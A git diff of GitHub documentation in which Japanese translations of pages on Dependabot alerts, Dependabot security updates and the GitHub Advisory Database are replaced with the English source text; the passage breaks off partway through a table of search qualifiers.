詳しい情報については「[Dependabotに対するプライベートな依存関係へのアクセスの許可](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)」を参照してください。 以前はDependabotはOrganization内のすべてのリポジトリにアクセスできましたが、最小権限の原則をDependabotに適用するほうがはるかに安全であることから、この変更を実装しました。 +If you are using private repositories, you will have to grant Dependabot access to these repositories in your organization's security and analysis settings. For more information, see "[Allowing Dependabot to access private dependencies](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)". Previously, Dependabot had access to all repositories within an organization, but we implemented this change because it is much safer to use the principle of least privilege for Dependabot. -プライベートリポジトリを使っているなら、既存のDependabot PreviewのシークレットをリポジトリもしくはOrganizationの"Dependabot secrets"に追加しなければなりません。 詳しい情報については「[Dependabotの暗号化されたシークレットの管理](/code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot)」を参照してください。 +If you are using private registries, you will have to add your existing Dependabot Preview secrets to your repository's or organization's "Dependabot secrets". For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot)". -移行に関する質問があったり支援が必要な場合は、[dependabot/dependabot-core](https://github.com/dependabot/dependabot-core/issues/new?assignees=%40dependabot%2Fpreview-migration-reviewers&labels=E%3A+preview-migration&template=migration-issue.md&title=)リポジトリでIssueを見たりオープンしたりできます。 +If you have any questions or need help migrating, you can view or open issues in the [dependabot/dependabot-core](https://github.com/dependabot/dependabot-core/issues/new?assignees=%40dependabot%2Fpreview-migration-reviewers&labels=E%3A+preview-migration&template=migration-issue.md&title=) repository. diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md index 7e69a8b9e8..4a20954bbf 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md @@ -1,6 +1,6 @@ --- -title: 脆弱性のある依存関係に関するアラートについて -intro: 'リポジトリに影響を与える脆弱性を検出すると、{% data variables.product.product_name %} は {% data variables.product.prodname_dependabot_alerts %} を送信します。' +title: About alerts for vulnerable dependencies +intro: '{% data variables.product.product_name %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect vulnerabilities affecting your repository.' redirect_from: - /articles/about-security-alerts-for-vulnerable-dependencies - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies @@ -18,79 +18,77 @@ topics: - Vulnerabilities - Repositories - Dependencies -shortTitle: Dependabotアラート +shortTitle: Dependabot alerts --- - - -## 脆弱性のある依存関係について +## About vulnerable dependencies {% data reusables.repositories.a-vulnerability-is %} -セキュリティ上の脆弱性があるパッケージにコードが依存している場合、この脆弱性のある依存関係により、プロジェクトまたはそれを使用するユーザにさまざまな問題が発生する可能性があります。 +When your code depends on a package that has a security vulnerability, this vulnerable dependency can cause a range of problems for your project or the people who use it. -## 脆弱性のある依存関係の検出 +## Detection of vulnerable dependencies {% data reusables.dependabot.dependabot-alerts-beta %} -{% data variables.product.prodname_dependabot %}は脆弱性のある依存関係を検出し、以下の場合に{% data variables.product.prodname_dependabot_alerts %}を送信します。 +{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when: {% ifversion fpt or ghec %} -- {% data variables.product.prodname_advisory_database %} に新しい脆弱性が追加されたとき。 詳しい情報については、「[{% data variables.product.prodname_advisory_database %} のセキュリティの脆弱性を参照する](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database)」および「[{% data variables.product.prodname_security_advisories %} について](/code-security/security-advisories/about-github-security-advisories)」を参照してください。{% else %} -- 新しいアドバイザリデータが {% data variables.product.prodname_dotcom_the_website %} から 1 時間ごとに {% data variables.product.product_location %} に同期されたとき。 {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} -- リポジトリの依存関係グラフが変更されたとき。 たとえば、コントリビューターがコミットをプッシュして、依存しているパッケージまたはバージョンを変更したとき{% ifversion fpt or ghec %}、またはいずれかの依存関係のコードが変更されたときなどです{% endif %}。 詳しい情報については、「[依存関係グラフについて](/code-security/supply-chain-security/about-the-dependency-graph)」を参照してください。 +- A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %} +- New advisory data is synchronized to {% data variables.product.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} +- The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)." {% data reusables.repositories.dependency-review %} -{% data variables.product.product_name %} が脆弱性と依存関係を検出できるエコシステムのリストについては、「[サポートされているパッケージエコシステム](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)」を参照してください。 +For a list of the ecosystems that {% data variables.product.product_name %} can detect vulnerabilities and dependencies for, see "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." {% note %} -**注釈:** マニフェストとロックファイルを最新の状態に保つことが重要です。 依存関係グラフが現在の依存関係とバージョンを正確に反映していない場合、使用する脆弱性のある依存関係のアラートを見逃す可能性があります。 また、使用しなくなった依存関係のアラートを受け取る場合もあります。 +**Note:** It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for vulnerable dependencies that you use. You may also get alerts for dependencies that you no longer use. {% endnote %} -## 脆弱性のある依存関係の {% data variables.product.prodname_dependabot %} アラート +## {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies {% data reusables.repositories.enable-security-alerts %} -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} は、_パブリック_リポジトリ内の脆弱性のある依存関係を検出し、デフォルト設定で {% data variables.product.prodname_dependabot_alerts %} を生成します。 プライベートリポジトリの所有者、または管理アクセス権を持つユーザは、リポジトリの依存関係グラフと {% data variables.product.prodname_dependabot_alerts %} を有効にすることで、{% data variables.product.prodname_dependabot_alerts %} を有効化できます。 +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies in _public_ repositories and generates {% data variables.product.prodname_dependabot_alerts %} by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. -ユーザアカウントまたは Organization が所有するすべてのリポジトリの {% data variables.product.prodname_dependabot_alerts %} を有効または無効にすることもできます。 詳しい情報については、「[ユーザーアカウントのセキュリティおよび分析設定を管理する](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)」または「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)." -{% data variables.product.product_name %} は依存関係グラフの生成をすぐに開始し、脆弱性のある依存関係が特定されるとすぐにアラートを生成します。 グラフは通常数分以内に入力されますが、多くの依存関係を持つリポジトリの場合は時間がかかる場合があります。 詳しい情報については、「[プライベートリポジトリのデータ使用を管理する](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)」を参照してください。 +{% data variables.product.product_name %} starts generating the dependency graph immediately and generates alerts for any vulnerable dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)." {% endif %} -When {% data variables.product.product_name %} identifies a vulnerable dependency, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes > 3.0 %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes > 3.0 %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. 詳しい情報については、「[脆弱性のある依存関係に対する通知を設定する](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)」を参照してください。 +When {% data variables.product.product_name %} identifies a vulnerable dependency, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes > 3.0 %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes > 3.0 %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} -{% data variables.product.prodname_dependabot_security_updates %} が有効になっているリポジトリの場合、アラートには、マニフェストまたはロックファイルを脆弱性を解決する最小バージョンに更新するためのPull Requestへのリンクも含まれる場合があります。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照してください。 +For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, the alert may also contain a link to a pull request to update the manifest or lock file to the minimum version that resolves the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." {% endif %} {% warning %} -**注釈**: {% data variables.product.product_name %} のセキュリティの機能は、すべての脆弱性を捕捉するものではありません。 当社は常に脆弱性データベースを更新し、最新の情報でアラートを生成するよう努力していますが、一定の期間内にすべてをの問題を把握したり、既知の脆弱性について通知したりすることはできません。 これらの機能は、それぞれの依存関係の潜在的な脆弱性やその他の問題に関する人によるレビューを置き換えるものではなく、必要な場合にはセキュリティサービスによるコンサルティングや、総合的な脆弱性レビューを行うことをおすすめします。 +**Note**: {% data variables.product.product_name %}'s security features do not claim to catch all vulnerabilities. Though we are always trying to update our vulnerability database and generate alerts with our most up-to-date information, we will not be able to catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough vulnerability review when necessary. {% endwarning %} -## {% data variables.product.prodname_dependabot %}アラートへのアクセス +## Access to {% data variables.product.prodname_dependabot_alerts %} -{% ifversion fpt or ghec %}リポジトリのセキュリティタブ、もしくは{% endif %}リポジトリの依存関係グラフにおいて、特定のプロジェクトに影響するすべてのアラートを見ることができます。 詳細については、「[リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)」を参照してください。 +You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -デフォルトでは、新しい{% data variables.product.prodname_dependabot_alerts %}に関して影響を受けるリポジトリに管理権限を持っている人に通知を行います。 {% ifversion fpt or ghec %}{% data variables.product.product_name %}は、いかなるリポジトリについても特定された脆弱性を公開することはありません。 {% data variables.product.prodname_dependabot_alerts %} を、自分が所有または管理者権限を持っているリポジトリで作業している追加のユーザや Team に表示することもできます。 詳しい情報については「[リポジトリのセキュリティ及び分析の設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)」を参照してください。 +By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} never publicly discloses identified vulnerabilities for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working repositories that you own or have admin permissions for. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% endif %} {% data reusables.notifications.vulnerable-dependency-notification-enable %} -{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} 詳しい情報については「[脆弱性のある依存関係に対するアラートの設定](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)」を参照してください。 +{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)." -{% data variables.product.prodname_advisory_database %}内の特定の脆弱性に対応するすべての{% data variables.product.prodname_dependabot_alerts %}を見ることもできます。 {% data reusables.security-advisory.link-browsing-advisory-db %} +You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular vulnerability in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} {% ifversion fpt or ghec or ghes > 3.2 %} -## 参考リンク +## Further reading -- 「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」 -- [リポジトリ内の脆弱な依存関係を表示・更新する](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository){% endif %} +- "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" +- "[Viewing and updating vulnerable dependencies in your repository](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository)"{% endif %} {% ifversion fpt or ghec %}- "[Understanding how {% data variables.product.prodname_dotcom %} uses and protects your data](/categories/understanding-how-github-uses-and-protects-your-data)"{% endif %} diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md index 874b69b0c8..b283a4b5e0 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md @@ -1,7 +1,7 @@ --- -title: Dependabot のセキュリティアップデート -intro: '{% data variables.product.prodname_dependabot %} は、セキュリティアップデートプログラムを使用してプルリクエストを発行することにより、脆弱性のある依存関係を修正できます。' -shortTitle: Dependabotセキュリティアップデート +title: About Dependabot security updates +intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.' +shortTitle: Dependabot security updates redirect_from: - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates - /github/managing-security-vulnerabilities/about-dependabot-security-updates @@ -25,42 +25,42 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## {% data variables.product.prodname_dependabot_security_updates %} について +## About {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_security_updates %} で、リポジトリ内の脆弱性のある依存関係を簡単に修正できます。 この機能を有効にすると、リポジトリの依存関係グラフで脆弱性のある依存関係に対して {% data variables.product.prodname_dependabot %} アラートが発生すると、{% data variables.product.prodname_dependabot %} は自動的にそれを修正しようとします。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」 および「[{% data variables.product.prodname_dependabot_security_updates %} を設定する](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)」を参照してください。 +{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." -{% data variables.product.prodname_dotcom %}は、最近公開された{% data variables.product.prodname_dotcom %}セキュリティアドバイザリによって公開された脆弱性に影響されるリポジトリに{% data variables.product.prodname_dependabot %}アラートを送信することがあります。 {% data reusables.security-advisory.link-browsing-advisory-db %} +{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} -{% data variables.product.prodname_dependabot %} は、リポジトリの依存関係グラフを中断することなく、脆弱性のある依存関係を修正バージョンにアップグレードできるかどうかを確認します。 次に、 {% data variables.product.prodname_dependabot %} はプルリクエストを発生させて、パッチを含む最小バージョンに依存関係を更新し、プルリクエストを {% data variables.product.prodname_dependabot %} アラートにリンクするか、アラートのエラーを報告します。 詳しい情報については、「[{% data variables.product.prodname_dependabot %} エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」を参照してください。 +{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." {% note %} -**注釈** +**Note** -{% data variables.product.prodname_dependabot_security_updates %} 機能は、依存関係グラフと {% data variables.product.prodname_dependabot_alerts %} を有効にしているリポジトリで使用できます。 完全な依存関係グラフで識別されたすべての脆弱性のある依存関係について、{% data variables.product.prodname_dependabot %} アラートが表示されます。 ただし、セキュリティアップデートプログラムは、マニフェストファイルまたはロックファイルで指定されている依存関係に対してのみトリガーされます。 {% data variables.product.prodname_dependabot %} は、明示的に定義されていない間接的または推移的な依存関係を更新できません。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)」を参照してください。 +The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)." {% endnote %} -関連する機能 {% data variables.product.prodname_dependabot_version_updates %} を有効にして、{% data variables.product.prodname_dependabot %} が古い依存関係を検出するたびに、マニフェストを最新バージョンの依存関係に更新するプルリクエストを生成させることができます。 詳しい情報については、「[{% data variables.product.prodname_dependabot %} バージョン更新について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。 +You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)." {% data reusables.dependabot.pull-request-security-vs-version-updates %} -## セキュリティアップデートのプルリクエストについて +## About pull requests for security updates -各プルリクエストには、提案された修正を迅速かつ安全に確認してプロジェクトにマージするために必要なすべてのものが含まれています。 これには、リリースノート、変更ログエントリ、コミットの詳細などの脆弱性に関する情報が含まれます。 プルリクエストが解決する脆弱性の詳細は、リポジトリの {% data variables.product.prodname_dependabot_alerts %} にアクセスできないユーザには表示されません。 +Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository. -セキュリティアップデートを含むプルリクエストをマージすると、対応する {% data variables.product.prodname_dependabot %} アラートがリポジトリに対して解決済みとしてマークされます。 {% data variables.product.prodname_dependabot %} プルリクエストの詳細については、「[依存関係の更新に関するプルリクエストを管理する](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)」を参照してください。 +When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)." {% data reusables.dependabot.automated-tests-note %} {% ifversion fpt or ghec %} -## 互換性スコアについて +## About compatibility scores -{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. これらは、同じセキュリティアップデートプログラムが生成された他のパブリックリポジトリでの CI テストから計算されます。 更新の互換性スコアは、依存関係の特定のバージョンの更新前後で、実行した CI がパスした割合です。 +{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency. {% endif %} -## {% data variables.product.prodname_dependabot %} セキュリティアップデートの通知について +## About notifications for {% data variables.product.prodname_dependabot %} security updates -{% data variables.product.company_short %} で通知をフィルタして、{% data variables.product.prodname_dependabot %} セキュリティアップデートを表示できます。 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)」を参照してください。 +You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md index 5aa5f44a2e..7fd77729d1 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md @@ -1,7 +1,7 @@ --- -title: GitHub Advisory Database のセキュリティ脆弱性を参照する -intro: '{% data variables.product.prodname_advisory_database %} を使用すると、{% data variables.product.company_short %} のオープンソースプロジェクトに影響を与える脆弱性を参照または検索できます。' -shortTitle: Advisory Databaseの参照 +title: Browsing security vulnerabilities in the GitHub Advisory Database +intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects on {% data variables.product.company_short %}.' +shortTitle: Browse Advisory Database redirect_from: - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database @@ -16,78 +16,80 @@ topics: - Vulnerabilities - CVEs --- - -## セキュリティの脆弱性について +## About security vulnerabilities {% data reusables.repositories.a-vulnerability-is %} -{% data variables.product.prodname_advisory_database %} の脆弱性のいずれかがリポジトリが依存するパッケージに影響することが検出された場合、{% data variables.product.product_name %} は {% data variables.product.prodname_dependabot_alerts %} を送信します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。 +{% data variables.product.product_name %} will send you {% data variables.product.prodname_dependabot_alerts %} if we detect that any of the vulnerabilities from the {% data variables.product.prodname_advisory_database %} affect the packages that your repository depends on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." -## {% data variables.product.prodname_advisory_database %} について +## About the {% data variables.product.prodname_advisory_database %} -{% data variables.product.prodname_advisory_database %} には、{% data variables.product.company_short %} の依存関係グラフによって追跡されるパッケージにマップされたセキュリティの脆弱性のキュレーションされたリストが含まれています。 {% data reusables.repositories.tracks-vulnerabilities %} +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that have been mapped to packages tracked by the {% data variables.product.company_short %} dependency graph. {% data reusables.repositories.tracks-vulnerabilities %} -各セキュリティアドバイザリには、説明、重要度、影響するパッケージ、パッケージエコシステム、影響するバージョンとパッチを適用したバージョン、影響、およびリファレンス、回避策、クレジットなどのオプション情報を含む、脆弱性に関する情報が含まれています。 さらに、National Vulnerability Database リストのアドバイザリには、CVE レコードへのリンクが含まれており、脆弱性、その CVSS スコア、その定性的な重要度レベルの詳細を確認できます。 詳しい情報については、アメリカ国立標準技術研究所の「[National Vulnerability Database](https://nvd.nist.gov/)"」を参照してください。 +Each security advisory contains information about the vulnerability, including the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology. -重大度レベルは「[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)」で定義されている 4 つのレベルのいずれかです。 +The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)." - Low - Medium/Moderate - High - Critical -{% data variables.product.prodname_advisory_database %} は、上記の CVSS レベルを使用します。 {% data variables.product.company_short %} が CVE を取得した場合、{% data variables.product.prodname_advisory_database %} は CVSS バージョン 3.1 を使用します。 CVE がインポートされた場合、{% data variables.product.prodname_advisory_database %} は CVSS バージョン 3.0 と 3.1 の両方をサポートします。 +The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1. {% data reusables.repositories.github-security-lab %} -## {% data variables.product.prodname_advisory_database %} のアドバイザリにアクセスする +## Accessing an advisory in the {% data variables.product.prodname_advisory_database %} -1. Https://github.com/advisories にアクセスします。 -2. 必要に応じて、リストをフィルタするには、ドロップダウンメニューを使用します。 ![ドロップダウンフィルタ](/assets/images/help/security/advisory-database-dropdown-filters.png) -3. アドバイザリをクリックして詳細を表示します。 +1. Navigate to https://github.com/advisories. +2. Optionally, to filter the list, use any of the drop-down menus. + ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png) +3. Click on any advisory to view details. {% note %} -データベースは、GraphQL API を使用してアクセスすることもできます。 詳しい情報については、「[`security_advisory` webhook イベント](/webhooks/event-payloads/#security_advisory)」を参照してください。 +The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)." {% endnote %} -## {% data variables.product.prodname_advisory_database %} を検索する +## Searching the {% data variables.product.prodname_advisory_database %} -データベースを検索し、修飾子を使用して検索を絞り込むことができます。 たとえば、特定の日付、特定のエコシステム、または特定のライブラリで作成されたアドバイザリを検索できます。 +You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `GHSA-ID` | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) は、この {% data variables.product.prodname_advisory_database %} ID でアドバイザリを表示します。 | -| `CVE-ID` | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) は、この CVEID 番号でアドバイザリを表示します。 | -| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) は、NPM パッケージに影響するアドバイザリのみを表示します。 | -| `severity:LEVEL` | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) は、重大度レベルが高いアドバイザリのみを表示します。 | -| `affects:LIBRARY` | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) は、lodash ライブラリに影響するアドバイザリのみを表示します。 | -| `cwe:ID` | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) は、この CWE 番号のアドバイザリのみを表示します。 | -| `credit:USERNAME` | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) は、「octocat」ユーザアカウントにクレジットされたアドバイザリのみを表示します。 | -| `sort:created-asc` | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) は、一番古いアドバイザリを最初にソートします。 | -| 